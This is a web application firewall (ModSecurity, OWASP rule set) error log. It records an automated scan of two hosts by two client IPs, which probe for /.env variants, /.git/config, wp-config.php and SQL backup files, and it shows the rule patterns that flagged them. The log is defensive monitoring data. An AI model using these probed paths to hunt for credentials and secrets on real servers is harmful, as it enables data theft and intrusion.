[Fri Jul 17 08:27:37.159627 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaIY1dLClkUfK_dfHhXgAAAAI"]
[Fri Jul 17 08:27:37.159911 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIY1dLClkUfK_dfHhXgAAAAI"]
[Fri Jul 17 08:27:37.304454 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.233.239.159:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraas.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaIYha5y5fYnQ1qRrvnwAAAAE"]
[Fri Jul 17 08:27:37.304708 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaIYha5y5fYnQ1qRrvnwAAAAE"]
[Fri Jul 17 08:27:37.305113 2026] [security2:error] [pid 1993604:tid 1993604] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIYha5y5fYnQ1qRrvnwAAAAE"]
[Fri Jul 17 08:27:37.389660 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.233.239.159:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraas.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaIXt8zp89pALg8Q5k8gAAAA4"]
[Fri Jul 17 08:27:37.389834 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.233.239.159:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraas.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaIXt8zp89pALg8Q5k8gAAAA4"]
[Fri Jul 17 08:27:37.390051 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/.env.backup"] [unique_id "almaIXt8zp89pALg8Q5k8gAAAA4"]
[Fri Jul 17 08:27:37.390287 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIXt8zp89pALg8Q5k8gAAAA4"]
[Fri Jul 17 08:27:37.392742 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.233.239.159:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraas.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaIYl9vhFBGA6D8l92QgAAAAw"]
[Fri Jul 17 08:27:37.392830 2026] [security2:error] [pid 1993671:tid 1993671] [client 3.233.239.159:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraas.ksoft.web.lk"] [uri "/.env"] [unique_id "almaIQ5GPQ6hs4VrfMo9zgAAAAY"]
[Fri Jul 17 08:27:37.393063 2026] [security2:error] [pid 1993671:tid 1993671] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/.env"] [unique_id "almaIQ5GPQ6hs4VrfMo9zgAAAAY"]
[Fri Jul 17 08:27:37.393103 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/database.sql"] [unique_id "almaIYl9vhFBGA6D8l92QgAAAAw"]
[Fri Jul 17 08:27:37.393324 2026] [security2:error] [pid 1993572:tid 1993572] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIYl9vhFBGA6D8l92QgAAAAw"]
[Fri Jul 17 08:27:37.393332 2026] [security2:error] [pid 1993671:tid 1993671] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIQ5GPQ6hs4VrfMo9zgAAAAY"]
[Fri Jul 17 08:27:37.566885 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.233.239.159:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraas.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaIVh1WDijTxd1xw5IxQAAAAc"]
[Fri Jul 17 08:27:37.567182 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaIVh1WDijTxd1xw5IxQAAAAc"]
[Fri Jul 17 08:27:37.567562 2026] [security2:error] [pid 2013797:tid 2013797] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIVh1WDijTxd1xw5IxQAAAAc"]
[Fri Jul 17 08:27:37.691127 2026] [security2:error] [pid 1994967:tid 1994967] [client 3.233.239.159:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraas.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaIUhq6UAnqYko0LpXIwAAABE"]
[Fri Jul 17 08:27:37.691503 2026] [security2:error] [pid 1994967:tid 1994967] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaIUhq6UAnqYko0LpXIwAAABE"]
[Fri Jul 17 08:27:37.691963 2026] [security2:error] [pid 1994967:tid 1994967] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIUhq6UAnqYko0LpXIwAAABE"]
[Fri Jul 17 08:27:38.625964 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.233.239.159:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraas.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaIo1dLClkUfK_dfHhYAAAAAI"]
[Fri Jul 17 08:27:38.626249 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaIo1dLClkUfK_dfHhYAAAAAI"]
[Fri Jul 17 08:27:38.626610 2026] [security2:error] [pid 1993619:tid 1993619] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIo1dLClkUfK_dfHhYAAAAAI"]
[Fri Jul 17 08:27:38.667459 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.233.239.159:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "vraas.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaIhAi3pC6yjXGNq19KwAAAAU"]
[Fri Jul 17 08:27:38.667831 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/backup.sql"] [unique_id "almaIhAi3pC6yjXGNq19KwAAAAU"]
[Fri Jul 17 08:27:38.668147 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaIhAi3pC6yjXGNq19KwAAAAU"]
[Fri Jul 17 08:27:38.989257 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:27:39.189233 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.233.239.159:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "vraas.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaI3t8zp89pALg8Q5k9QAAAA4"]
[Fri Jul 17 08:27:39.189474 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "vraas.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaI3t8zp89pALg8Q5k9QAAAA4"]
[Fri Jul 17 08:27:39.189747 2026] [security2:error] [pid 1993573:tid 1993573] [client 3.233.239.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "vraas.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaI3t8zp89pALg8Q5k9QAAAA4"]
[Fri Jul 17 08:27:40.074421 2026] [security2:error] [pid 1993659:tid 1993659] [client 35.175.251.203:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaJJOFLENLI63GGOEKGwAAAAQ"]
[Fri Jul 17 08:27:40.074663 2026] [security2:error] [pid 1993659:tid 1993659] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaJJOFLENLI63GGOEKGwAAAAQ"]
[Fri Jul 17 08:27:40.074993 2026] [security2:error] [pid 1993659:tid 1993659] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJJOFLENLI63GGOEKGwAAAAQ"]
[Fri Jul 17 08:27:40.084349 2026] [security2:error] [pid 1993572:tid 1993572] [client 35.175.251.203:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env"] [unique_id "almaJIl9vhFBGA6D8l92RgAAAAw"]
[Fri Jul 17 08:27:40.084614 2026] [security2:error] [pid 1993572:tid 1993572] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env"] [unique_id "almaJIl9vhFBGA6D8l92RgAAAAw"]
[Fri Jul 17 08:27:40.084956 2026] [security2:error] [pid 1993572:tid 1993572] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaJIl9vhFBGA6D8l92RgAAAAw"]
[Fri Jul 17 08:27:40.093474 2026] [security2:error] [pid 2013831:tid 2013831] [client 35.175.251.203:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaJKhgWo8idb8AQWuZ8gAAABs"]
[Fri Jul 17 08:27:40.093717 2026] [security2:error] [pid 2013831:tid 2013831] [client 35.175.251.203:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.vraasdev.ksoft.web.lk"] [uri "/.env.local"] [unique_id "almaJKhgWo8idb8AQWuZ8gAAABs"]
